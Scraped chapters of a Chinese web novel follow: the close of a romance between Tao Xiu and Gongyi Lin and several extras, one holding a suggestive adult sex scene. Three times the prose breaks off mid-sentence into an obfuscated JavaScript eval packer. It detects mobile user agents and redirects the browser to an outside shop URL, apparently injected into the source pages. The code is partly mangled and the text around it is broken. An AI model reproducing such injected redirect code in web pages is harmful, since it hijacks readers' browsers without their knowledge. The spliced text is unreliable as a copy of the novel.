果然是打算留在深夜无人时算账,还好夜色朦胧,不见他脸上冷冰冰的表情,陶修挪动一下身子,“人的心境会因时因地而变。等我能挪动腿自己走出屋外时已经过去一年多,母亲时刻在照顾我,萧辙也被我接来身边,顾虑的东西都分在他们身上。出了门就是萧家的坟墓,日日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262100|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着一片坟地,心里焦灼的东西慢慢就平息了,对你的想念也因日久渐渐变淡,你前程锦绣,有时想到你因为我而放弃一些东西时,我会觉得有愧。住在山里很静,静的人无欲无求、不问世事,我以后再也不想住山里。” “胡峤告诉我你在大兴城近五年,元意很器重你,说你一切按部就班,周国对南方士族的抑制和打压严重,公仪家得靠你撑门楣,我决定再不与你联络。母亲要离开江陵出来看看,踏上过去大陈的疆域时,心有感触,并没有太多悲喜,只是途径京口那一刻,我真的想你。” 途径京口那一刻,所有被压制的思念挣扎着往外窜,把胸腔的心戳的千疮百孔,为何不去找他,怎么能撑到现在才有所觉悟? 就不怕去的迟了,一切都无法补救? “我不敢冒然找你,回玉河村大半载一直在等今日。”陶修战术性地笑了一声,“看来沈家还是对我芥蒂很深,我回来一事被藏的密不透风,我只能等,等到你出现。” “如果我不出现?” “我没想过。我只记得你我约好天下太平了再来看看清江河,总会等到你。” 对面沉默凝重,陶修如坐针毡。 苦涩、紧绷的声音从喉咙发出:“那年你究竟伤了哪里?” “他们很恨我,又想立功。不说了,死里逃生不是很好吗?” 公仪林站起来走到陶修身边,抬起他的脸沿着眉毛、眼睛、唇一下一下抚摸,指端还有劫后余生的颤抖,他抱着他,一寸一寸抚过他的全身,这副身体还是瘦的像一把飞出体外的骨头,那些年好不容易把他养肥一点点,又成了过去的模样,“知道一个人活着而刻意不联系,和知道那人死了无法联系,是完全不同的心境,这些年我真的以为你死了,你对自己够狠,对我更狠。现在我让你回到我身边,敢不敢给我一个肯定的答复?” “敢,我正为此回来。” 公仪林亲上他的唇,没有白日的激动和发泄,只有温柔亲密,似能预知接下来的每一日都能尝到现在的味道,所以不必急切,只要缠绵轻柔就行。 “我们种麦子吧,务实一点,不必风花雪月。” 陶修挣脱他的手满头疑惑,“什么?” “那年你问我要在地上种什么,这几年我都在想这个问题,打算数年后辞官归闲养几株绒花树乘凉,现在想来,若我在田中央种上几棵树,会不会很突兀?” 陶修闻言情不自禁笑了两声,真是一如既往的傻,想了八年就打算种点树,笑着笑着脸颊有些发酸,忽而很心疼他。 他抽出双臂用劲把公仪林抱在怀里,摸着他的后脑勺,这个姿势充满包容和怜悯,“往后我跟你一起种,你想种什么就种什么。” 几日前还急着要回漳南公仪林,这会一副天塌下来有人顶的淡然态度,沈家不回、公仪家不回、漳南不回,就赖在玉河村的几间茅屋里不走。 也不是完全没离开茅屋,陶修走一步他跟一步,稍有片刻不见姓陶的,当即摆脸色装可怜,能在院子的树下站两个时辰不动,捂着被伤多年的心口“痛不欲生”,唬的陶修去哪都告知一声。 在玉河村磨蹭近一个月,终于把这边的事情处理干净,举家搬去漳南。 茅屋去年刚收拾的能住人,王妃又趁着春天种下大量花草,此刻众人离开茂林修竹似的的茅草屋时,个个恋恋不舍,公仪林开解众人:“很快就能回来,少则半年,多则两年,我们就再回来。” 在外乡混迹多年,最后想回的依然是故土,公仪林去信给大兴城的元意,希望能回吴郡做官。 离开汝丘时,公仪林让几个手下打扮读书人模样,去城里那间字画店把陶修的所有画卷都买了下来,并要他们对开店的张姓老板说:“此字端庄秀丽,又行云流水,一看写字之人就有磐石般稳重的心性,毅力持久,非那半途而废之人能比。” 张城:“……” 两辆马车从汝丘出发,途径曾经的建康城时,陶修和公仪林都没有胆魄故地重游,但陶修说想再看一眼绒华院。 公仪林阻止他:“空屋一座罢了,是我亲手摘掉门匾、贴上封条,我认为重要的东西都带走了,从此你在哪里,哪里就是我的归处。” 因天气逐渐炎热,车辆到达江边时便在渡口的热闹处多住了一两日,一来给连日奔波的王妃和萧辙乘凉歇息,二来赏景游玩。 江边有太多不忍回首的过往,沿途看见四通八达的水网可供船只来回穿梭、畅通无阻,不再分地域疆界、不再因国家不同而互相仇视时,两人在马背上眺望浩荡东流的江水,千言万语都无法诉尽心中的怅惘,那些年在江边暗下的宏图远志和豁出性命维护的东西,抵挡不住光阴洪流的辗轧,都化作轻飘飘的一缕齑粉,随江风而逝。 过去的天下风云变幻,波诡云谲,如今,大江南北合二为一,天下归为一家,是百姓之幸,是万物生灵之幸。 一轮红日即将西沉,江海吸流霞,金光铺设千里,他们在江边的巨岩之上并肩而立,衣裾轻扬,襟怀开阔,此生有你,万事皆足。 长风当歌,就在这大江边上,酹以一觞酒,祭我今与昨。 185.番外·公主和将军[番外] 攻下东扬州后,杨念的大军在此城驻扎近两个月才帅军回京。 以往打胜仗凯旋,高头大马、意气风发走在城中接受百姓围观恭贺,从来都高调且自命不凡,谁叫他天生会打仗,还有个做皇帝的舅舅,简直是天之骄子,是京城最闪的星。 这回杨念栽在一个女子手里,感情栽了,仗似乎也输了,回程的路上整个人灰头土脸怅然若失。 大陈的公主明明都醒来两天了,还闭着眼睛装睡,身体几乎被捅了一个窟窿还能不皱一下眉头装睡,等着伺机而动。 战后,杨念把城内大小事务统统交给部下和行军参事,他坐在陈千越的床前一步不敢离开,彻夜不眠。实在累了就回去眯半刻,再回来。 他答应陈明聿无论如何都要保公主一命,也答应他会照顾她一辈子。或许这些都是借口,不过借着深重的承诺才有勇气跟大兴城的皇帝叫一声板:“我就要救她,如果她答应,我还要娶她。” 第三日,杨念又悄无声息坐到床边,笨手笨脚掖了下被子,把公主的一缕秀发刮到耳上,他坐得一丝不苟,生怕对公主不敬。即便受伤失去血色,这张脸还是让人难以忘记,她不该用那副面具遮住她的光彩。 “听说你封号武平,挺适合你。上天非得在最后一刻让我看见你的真面目?豫章王已入土为安,等你身子好起来我陪你去看他。我还听这里的人说你们兄妹情同手足,我想带你回大兴,今后我就做你哥,我来照顾护你今后的安危?” 可能最后一句话气疯了陈千越,一直装睡的人突然睁眼双眼,从被下抽出一把小刀刺向杨念,寒光一现,杨念仰首躲过一刀,锋锐的刀锋从脸颊掠过,一道又细又长的刀口慢慢渗出血。 “你也配?”陈千越唇色苍白,满脸痛苦和怒气。 杨念一把抓住她的手腕,对下人的粗心大意很不满,“他们削果皮竟然用如此锋利的刀?” 公主的刺杀行为杨念不以为然,捏着她的手小心翼翼取下匕首,主动退后三步保持距离,说:“我明白公主失国失家的痛,我杨念无法阻止圣上统御天下的宏图大业,但陈室子弟和你的性命我尽量去保全,此城遭遇的毁坏我也会恢复如初,我能做的只有这些。” “出去,别在我跟前晃悠。” 这两个月,陈千越刺杀杨念四次,自杀三次,最后屋里就剩下床是硬的。 她不肯说话,偶尔去院中吹吹凛冬的朔风,站在与陈明聿并肩作战的城楼,望着城下日渐热闹熙攘的街道,才发现她和兄长豁出性命守护的东西已不属于自己,大陈的江山也已改名换姓。 死也死不了,姓杨的始终像条猎犬跟在后面,或者她更无今后往下走的方向,没了家国没了身份,残留一条随时被周主夺去性命的身躯有何意义。 不如自杀来的干净,所以她郑重的恳求杨念让她能葬在二哥身边。 杨念双目赤红心如刀割,遇到今生最棘手的选择,一夜之间长出了青色的胡渣,在陈千越门外蹲了一夜,天刚亮,门打开的一瞬,他哑声又坚定地回答她:“我不会让你死,永远不可能。” 杨念跟她说:“跟我去大兴城,你大哥陈明俨就在京城。” 快到年关时,陈千越跟着杨念首次踏足北方的疆域。 大兴城的冬天干燥寒冷,厚重的城墙庄重古朴,天空常阴沉多雾。陈千越被“监禁”在杨念的府上哪里都去不了。 她仇恨厌恶府里的所有人,整日郁郁寡欢,身影清瘦,几乎一阵风就能吹倒。 府里人人都好奇她的来历,却无人能打听到她的来历,连杨家的长辈都摸不清,他们统统被警告不许靠近她也不许找她的茬。 上元节那天,整个京师都在庆贺,庆贺即将来临的盛世。 杨念顶着一身的伤回到家,立即推开清冷的小院,对陈千越说:“我放烟火给你看,能不能陪陪我?” 他走路的姿势很奇怪,扶着腰、瘸着腿,一步一步走近。 陈千越嫌恶地挪开眼。 院子里窸窸窣窣,是杨念摆弄烟花炮竹的声音,独自一个人在那玩,像个大一些的顽童。 “为何会受伤?” 杨念心头一颤,难道这就是关心? 杨念从其冰冷的问话里硬是感受到自认为暖意,心花怒放,露出一口晃眼的白牙笑道:“过段时间我就能带你去看你兄长,圣上允了。” “多谢。” “能不能陪我点燃烟火?圣上让人打我的时候,刚好把他们放的烟花错过,我就想着你今日能不能补偿我一些?不对,不是补偿,是怜悯一些!” 陈千越冷漠地拒绝他的卖惨,转身回屋。 “我就在这里等。” 下半夜,屋外寒霜飕脸,杨念就盘腿坐在冰冷的地上,浑身打颤。 一刻后,四朵炫目璀璨的烟火炸入星辰寥落的夜空,成了城中最后一抹明亮的颜色。杨念凝视烟火下她难得的浅笑,愣了很久很久。 “想要打动她的心,看来任重道远。” “为何会受伤?” 这句话比刚才软和很多,杨念直白大胆地告诉她他的付出,一点不隐瞒:“我跟圣上说我喜欢一个女子。圣上很开心,不等我说完就拍掌过几天成婚。” 他暗搓搓瞧了她一眼,“我说我喜欢陈国的公主。圣上龙颜大怒,又用拍掌的手招来几个侍卫打我一顿,叫我死了这条心,我连打仗都不怕死,还怕他的几棍。” 陈千越无动于衷。 “圣上说等伤好了,看我改不改,不改还得打。” 陈千越:“……” “我心甘情愿被打。” “多谢你让我兄妹二人见面。”陈千越转身回屋,闭上门时对有些落寞的杨念说:“下次被打,我能替你上药。” 值了,够了,杨念把最后一根烟火点燃,比刚才的更绚烂美丽。 这一年的春天,陈千越终于见到兄长陈明俨,这位身材微胖的哥哥混在北方一众魁梧的朝臣中竟一点都不违和。 兄妹二人讲北地的人情风俗、方言饮食与南方的不同,讲周国朝堂的党派纷争,讲今后漫长的路要如何走,直至分开他们没提一句已不复存在的大陈,那是俩人都不能承受之重。 也是这次见面,陈千越才知道公仪林也来了大兴城。 第三年的春天,陈千越与京城一帮贵女结伴出城郊游赏花,从一群娇俏金贵的少女口中听说这京城有两个年轻男人的名字常在闺阁被偷偷提起,也是寺庙祈愿牌上出现频率最高的男人,他们有个共同之处,不近女色,无心成家。 因此城中还兴起一种无聊的“不近男/女色”榜单。 对曾经倾心过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294682|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公仪林,陈千越收起少女时的天真烂漫,把自己当作被困北方的阶下囚,无悲无喜,如今处境不比当年,二人难得的几次见面也不过点头带过。 听兄长说,江南几大世家因亡国而大受打压,被迫来北方的公仪林看上去灰心槁形,整日冰冷着一张脸,比他们兄妹看上去还难过的样子。 无形中,陈千越对他的怜悯还胜过杨念。 京城诸人眼中标准的“东床快婿”杨念这几年也不好过,年少时意气风发,为国立下赫赫战功,那时候他婉拒无数门当户对的亲事,偏偏在快要三十时突然醒悟,不该深情的年纪深情,不该与父母作对的年纪叛逆,非深居后院的亡国公主不娶。 身边人早就对他的执拗劲无可奈何,只得顺着他来,偏偏那位傲人的公主冷着他,从未给过他好脸色。 哪日公主心情好跟他多说两句话了,那几日府里下人都跟着过节似的。 这种煎熬人的处境不像打仗,疆场上杨念可以不要命的往前冲,可这情场,他生怕粗鲁一点就吓着陈千越,几年下来,他给公主不冷不热的态度折磨的在京城“不近女色”榜上直接拿下第二名。 他能怎么办,被一年一年等不得结果的形势逼急了也朝陈千越吼过两次后,思国思兄的陈千越当场挂下两行香泪,平静地望着他,无声哭泣两声,杨念举械投降。 二人几乎住在一个屋檐下,就这么咫尺天涯的耗到第四年。 第四年,杨念奉命征讨匈奴,八个月后带着一身的伤凯旋。 八个月经历三个季节,春天风沙略重,夏日太过炎热,秋日正是等待归人之时。 这八个月,院外少了清晨的问声,少了午睡隔帘的探视,少了夜幕时关心备至的叮嘱,陈千越在没了杨念的八个月间想明白一件事。 大军凯旋那日,陈千越骑着一匹白马,立在一处高丘上遥望锣鼓声中迤逦走过的队伍。 深秋的天有点晦暗,那匹马白得耀目,杨念于千万人中一眼就认出熟悉的身影,她还似当年立在山头那般英气、神秘。 杨念策马狂奔而去,陈千越拍马迎合,两人跳下马,陈千越露出浅笑,开口道:“恭喜将军平安归来……” 杨念拥她入怀,几乎揉进铠甲下的骨头里,附在耳边不停地念她名字:“千越,千越……” 陈千越没有拒绝。 谁言秋日萧条?高丘上拥在一起的正是越过凛冬的春意。 后来,杨府终于等来一场热闹的婚事,鼓乐齐鸣,八方来客,全府上下喜气洋洋,连混进来一个外人都没发现。 就是这场婚宴,修成正果的杨念见宴席上冷冷淡淡的公仪林的大名还挂在京城“不近女色”的排行榜上,一心欲助其脱离苦海,自作聪明把一个有几分颜色的侍女安排在他旁边斟酒。 偏偏这一幕就给跑来大兴城摸底、打探消息的胡峤撞见。 胡峤是谁啊,不懂风花雪月,不解儿女情长,他回江陵老老实实跟陶修禀报:“公仪公子跟一个女子同席同坐,其乐融融。”又加了点自己的臆断:“估摸他在那边要落地生根了。” 陶修自然不信,但他也没有精力与之重聚。 两人相隔万里之遥,对着同一枚皓月长吁短叹。 一个想:“你真的死了吗?” 另一个想:“就当我死了吧!” 186.番外·咯吱咯吱的床[番外] (一)咯吱咯吱的床 回想过去多年,公仪林发现陶修的这间破茅屋他一次都没有住过。年少时不敢表露心迹,就把那股惦记和妄念留在夜深人静时,屋里的人在做什么,小小的木床到底能不能睡下两个人,如果能睡下,厚泥砌的墙隔不隔音? 阔别八年的今夜他终于得偿所愿,将亲证少年时的疑惑。 两人在茂密的绒花树下冰释前嫌,公仪林朝陶修伸出手,冷酷、专断地通知他一声:“嘴巴是讲清一点我本来不知道的事,但有些事须在床上才能解决。” 陶修的手微微出汗。 分开这么久,今夜的事无可厚非,他们都需要。 豆大的油灯把旧迹斑斑的泥墙照亮,环顾四周,摆设还同当年一样,被褥都是新的,叠的整整齐齐,书桌上摆着笔墨纸砚,公仪林问:“要不要练字?” “不练,张城常说我的字跟我为人一样死板,随手写的几个字他都给装裱装裱拿去卖,分明是羞辱我,已多日没练了。” 刚才在院中用井水冲了澡,这会两人把潮湿的头发束起,皆穿了件粗糙的白色麻衣,“无须在意他们说的,我还答应给你办一场书法赛事,今晚想写就写,我等你。” 公仪林直直地盯着他,眸光沉沉,似乎在敲定下面的步骤,简单的粗布中衣陶修穿出一股子岁月宁靖的气质,袖子巻在臂弯,露出一截带伤的小臂和浅浅的青筋,他想摸,想亲,实在等不及。 陶修望了眼窗外的夜色,咳嗽一声,侧头试探着问:“你确定?只要动笔我就会写一个时辰,那时候天也快亮了,今夜的事就……” 话说到一半,公仪林已忍耐不住走上来,极其强硬的把陶修身子按在书桌上,不管陶修这个姿势舒服不舒服,他欺压在上面,滚烫的气息喷在他耳边:“别写,我逗你玩。” 公仪林在陶修口中侵略、探索,压住他挣扎的双臂,顺着手臂摸索一阵终于扣住两只手,挤开指缝与之十指相扣。 陶修想说话,刚冒出“唔”一声就被堵回去。 腰疼,许久没练武,架不住公仪林报复似的求爱,用劲偏过头深喘一口气,求饶道:“我们去床上?让我缓一下能不能?” 这双眼很漂亮,眼珠子很黑,或许没有十六岁刚喜欢上他的时候亮,但其中漩涡一样的沉静始终没变,此刻被亲的急了,眼中添点情欲和迷蒙。 “那就到床上去。” 公仪林的声音很沉,夹着迫不及待的涩,让这句话听起来有点发抖。 小木床,这是公仪林梦寐以求的小床,简陋、粗糙,掀开床单下的竹席就能看见几块简单的木板,陶修就在这张床上长大,躺在漆黑的屋里苦熬他的少年时期,被同龄人欺辱、被贫贱的生活折磨时,就在这张床上盯着屋顶胡思乱想并养成温和沉静的生性。 公仪林早就想在这张床上发生点什么。 十六岁那会他是汝丘最得意猖狂的少年,想把另一个少年撕碎在这张床上简直易如反掌,后来他始终是忍住了,不敢亵渎陶修,夜夜抱着被子在自家的大床上翻身打滚辗转反侧,魂牵梦绕,逼着自己想:“他在小屋里到底做什么?” 公仪林脱掉衣服,露出结实紧绷的身体,每一寸肌肤陶修都熟悉。 八年或许还是太久了,陶修挪开视线。公仪林扳过他的头让其直视自己,一根一根解开他腰侧的衿带,一根,两根,第三根卡主了,是个死结,骑在上面的人开始手忙脚乱。 陶修低低笑了声,一下扯断第三根带子,掀开身上粗糙的布衣,一切都暴露无遗,坦诚相待。 夜深人静,绒花树在夜风里的窣窣声从小窗口传进来,听呐,一点点声音都清晰入耳,他们只能把激情压制在喉间,可越压抑越气喘吁吁,体内就越有用不完的劲。 公仪林对准陶修的脖子咬上一口,陶修两爪乱抓,不满地闷哼:“那我怎么办?” “你来忍。” 薄陋的木床承受不小力道,不知哪个榫卯处出现异常,在规律的动作下吱呀吱呀叫起来,声音在黢黑的屋里张牙舞爪,异常清脆,像个小孩得意的叫嚣。 因为这不可言说的动作和缠绵,吱呀声才出现,两人耳膜所受的冲击简直让人发疯。 动作快,小木床叫的就尖锐,动作缓,叫嚣便转为轻巧的叹息。 公仪林体会到别样的乐趣,开始逗弄身下的人,停停歇歇。 陶修受不了公仪林的恶趣味,“你没完没了了?”被折磨的心烦意乱,陶修踢开这没脸的人,披上衣服把小床能碰到的三条腿敲打一番,确定再不发出声音后才得逞的看向公子。 公仪林笑了两声,把他拽进怀里,小声问他:“谁家这事做了一半跑起来修床?太没情趣了。” “隔墙有耳,我已是做爹的人了,还是要顾些体面。” “谁还不是做爹的人了?” 离天亮还早,那就继续,“八年,我这几年多想你,此刻就多想……” “行了祖宗,别提八年了,都是我的错,我肯定会补偿你。” 一个猝不及防的挺身,床又吱呀吱呀响个不停,两人都笑出声,不管了,今夜就这样,谁叫久别重逢,久别重逢不都如此。 瑰色的天幕映入小窗口,二人挤在小床上还舍不得睡,用平和的声音一句一句诉说几年来的境遇。公仪林玩弄陶修的长指,突然感慨一句:“早知此床如此有雅趣,嗯,当年刚认识你时就该试试。” “如何试?” “像刚才一样。” 陶修沉吟片刻,冷静的回击他:“你得庆幸自己克制住了。” “你想怎样?” “我会——” 公仪林翘起身等着他回答,轮廓硬朗的面部越来越受看,陶修拿手指碰了下他的鼻梁,温声道:“算了,看在你这张脸的份上,我可能不会恨你。” “看不出来啊康乐,你居然是个看脸下菜的人?” “自然,你也得庆幸这几年我身边没出现比你还好看的人。” “几年不见居然长本事了。”公仪林迅速钳住陶修双腕朝他肋上挠去,陶修边求饶边笑:“没有没有,只有你,永远只有你。” 床咯吱咯吱又叫起来,其音律韵味深远。 (二)萧辙的选择和吃不上的栗子 全家搬到漳南的第四个月,一切都按部就班安顿下来。 陶修借公仪林的光,在县署谋取一份稍微体面点的差事,给公仪县尹抄抄文书、整理卷簿,县里发生血案时,陶修也会带刀赶往现场协助侦查。 公仪林每个月都亲自把陶修赚的一点碎银亲手奉上,一成不变地替他惋惜:“大材小用了啊康乐,以你的才干我真该把你举荐给元意,可惜……” 对各亡一国的二人来说有太多可惜,他不能举荐,宁愿就这么放在身边守着他,看他高高兴兴赚取不足二两的碎银。 “经历那么多血腥,任何高官厚禄都动摇不了我,”陶修把俸禄平摊在案几上数了下,自言自语道:“你有没有什么想要的东西,我可以买来送你。说实话,若是这个天下再乱一次,我只会冷眼旁观,再也不像从前那般拼命,厌了,付出的东西从来没有同等的回报,反而落了个凄凄惨惨的下场。” 公仪林抱臂坐在对面瞧他认真数钱的模样,笑说:“嗯,我也跟你一样,只想安安稳稳过我们的小日子,至于天下大事,给那能逆天改命的人拼去。今日天气正好,跟我去集市上转转,我想吃栗子,就用你的钱买。” 陶修一把收了钱装进布袋,起身道:“嘴叼,今年的栗子刚熟就给你记上,走,我带你去。” 二人快要出了县署大门时,萧辙追上来:“父亲,又不带我?” 公仪林站住脚等他:“叫谁?” “自然是——”萧辙往陶修跟前走,贴近父亲的身子,猛地站直腰杆才斗胆说:“自然是我自己的父亲,你和我爹关系虽好,但你别想让我叫你爹,一个人岂能有两个父亲,义父也不行。” “小兔崽子,跟你亲爹一样,伶牙俐齿。走,那就跟叔父吃炒栗去。” 三人刚出大门,一辆马车正好停下。 守门的护卫正要把车驱赶到别处去,车帘掀开,从内走下一个年轻男子,此人目如朗星,唇如涂朱,一举一动风雅超群。 公仪林当即认出了他,还在心里嘀咕一句:“女娲娘娘给萧家人捏脸时心情一定很好。”斜眼又瞧了下萧辙,但愿这小兔崽子以后别出众的厉害。 “萧颐,你如何会来这里?”公仪林和陶修同时上前。 箫颐对陶修行礼道:“兄长,我来看看小辙。” 之前箫颐和陶修约定好每隔五年探视一次萧辙,因此前的种种动荡,直到今年箫颐才抽身各方打听到此。这是他和萧辙第一次见面,一眼就认出站在陶修身后的孩子就是他要找的人。 萧辙长得很好,浑身上下透着没吃过苦没受过委屈的精明神采,哪怕在亲生父亲跟前长大也未必有现在的灵秀,箫颐觉得此趟来的目的恐不能达成。 几个人在厅堂落座后寒暄一阵,箫颐还是试着说出此来的目的:“当年弟妹亲手把小辙交到我手中,我本不该轻易就让你带走,”他望向陶修,“但当时你的处境……如果我不给你,恐怕你也没信念活下去。过去的伤痛总会被这十年光阴磨平,兄长应该也早就成家立业娶妻生子,萧辙我想把他带走。” 不等陶修反对,公仪林就先拒绝:“论血亲,萧辙和萧康乐的关系比你更近,论感情,他们父子二人相依多年,从没长久分开过,论托孤一事,萧蕴夫妻二人临终前亲口嘱托这大伯抚养他长大,论抚养萧辙的能力、财力和成长氛围,你更不需担心,休然兄现在可是我漳南县最出色的巡检,每月俸禄足够养好儿子,何况,萧辙的祖母也在此,论……” “停,停,我已知道了。”萧颐伸手阻止他继续说下去,转首对陶修说:“我并不知二娘也在兄长身边。只是二娘年纪大了难免精力不足,兄长敢跟我保证这些年来小辙丝毫没有寄人篱下的委屈?兄长有妻有子,能将小辙与自己的孩子一视同仁?哪怕有一点点的不便,也请兄长明说。” 这回又不用陶修辩白,一直在堂后倾听的萧辙走出来,在箫颐面前跪下来,诚恳地回答:“侄儿在后面听了这许久,明白叔父来此的目的,侄儿先谢过叔父多年的挂怀。我父亲,也就是我大伯,三言两语并不能说清他在我心里的位置,他教我读书知礼,教我习武强身,把全天下他认为最好的东西给我,我只想说,别家的亲生父亲待儿子也未必就比我们父子二人好。能在父亲身边长大,侄儿真的很幸运。” 本来说到这里也就差不多了,萧辙又狗尾续貂了几句:“父亲和公仪叔父都是让侄儿很尊敬的长辈,他们二人不肯成家,为了我甚至结成一家人,现在他们把全部精力和寄托都放在我身上,我怎能撇下他们一走了之。” 公仪林笑得很灿烂,陶修半遮额头不敢直视箫颐,这孩子还是太小了,不及公仪佑聪慧,还不明白值得他尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陶修直截了当回答萧辙:“我们曾在佛祖面前许愿,早就结成一家人了,很简单。”见萧辙似懂非懂,接着安抚道:“再过两年你就懂了。” 陶修小声对公仪林说:“还是太小了,得让佑儿带带他。” 正说着,有下人急急从城内赶来催促:“公仪佑小公子已到家了,他请大人快些回去咧。” 公仪林笑道:“真巧,这就来了。先回去带他,我们再一起去买栗子。” 从吴郡一路风尘仆仆赶来的公仪佑还没把屁股坐热就给拽去集市上买栗子吃,就在老板包好栗子交货、三张等不及的嘴塞满滚烫炒栗、四双眼睛都盯着陶修掏钱时,陶修把浑身摸遍,不信,又摸一遍,确定没有,才抬头求助公仪林:“我忘带钱了。” (三)原来亲家这么好 一年半后,公仪林顺利出镇吴郡郡守,成了目前公仪家最大的官,大周废除曾经靠世袭、察举选拔官吏的方式,往后公仪家的子弟要想出人头地需认真读书走科举。 公仪林算是最后的幸运,深得元意青睐。 吴郡离玉河村大概一天半路程,当陶修提出回村修葺茅屋时,公仪林捂着心口痛不欲生,装模作样地威胁:“明知我公务繁忙不能跟你一块回去,你非得气我。” “回头我要让安桂把你这旧疾给彻底治好,动不动就拿此吓我,小心哪天我心硬——” “本来没这么严重,八年,是你八年没跟我……” “得了祖宗,我耳朵都听出茧了。明明是你说要圈一块地跟我种庄的,我不过回去修理修理院子里的花草。” 他们不能经常回去,公仪林的父母坐着马车摇摇晃晃来了。这是陶修和公仪林父母的首次见面,二人显然比要见面的父母还紧张,时刻准备在可能发生“剑拔弩张”的情况下调和两方父母的意见不合。 谁知场面出乎意料的和谐。 萧王妃雍容大雅,心胸豁达,公仪夫人吃斋念佛,慈眉善目,两个年纪相仿的妇人见面时只有一盏茶的生疏时间,待第二盏茶斟上,话题从表面的客套转移到两个儿子身上,话匣猛然打开,真心诚意互夸对方儿子长得好,心性好。 萧王妃:“麟儿少时受过槐序很多照应,每思及此,我又愧又感激,若没有槐序,我可能没机会与麟儿母子重逢。” 公仪夫人:“哪里的话,槐序幼时顽劣得很,若不是麟儿把他从水里捞上来,也就没有后面这些事了。” 萧王妃:“第一次见槐序我就喜欢他,高高大大,爱笑,知道他俩的事情时我一点都不吃惊,反倒有种他们本该如此的感觉。” 公仪夫人:“我不及夫人通透,但有一年麟儿许久没出现在槐序面前,我天天在佛前祈祷,希望他平平安安的,直到有一天他突然站在小院门口,夫人,当时我觉得那孩子就像神明。” 萧王妃:“亲家真养了个好儿子。” 公仪夫人:“麟儿的品行一看就随了夫人。” 坐在两个母亲身后的公仪林扯了下陶修的手,悄声问:“我有些听不下去了。” 陶修不苟言笑,板板正正地坐着,眼睛却睨视着他,“难道夸错了?”说罢,也装不下去,伏在公仪林身上憋笑。 两个妇人转头见身后没正行的儿子,说了同一句话:“要不你们外面玩去?” 此时正初秋,桂花开的季节。院中有棵年老的桂树,被撵出来的二人就在树下的躺椅上回味两位母亲的“肺腑之言”。陶修闭着眼睛,一阵清风吹过,落了几星桂花在身上。 “槐序,那年你用鞭子抽我,也在一棵桂树下,光阴如梭,如今的岁月静的我有点发慌,总觉得像场梦。” 公仪林勾住他的小指,依旧不可一世的模样:“不必管他是不是梦,梦里梦外,你触手可及的人是我就行。” 桂树悬秋,花在怀中,人在心中。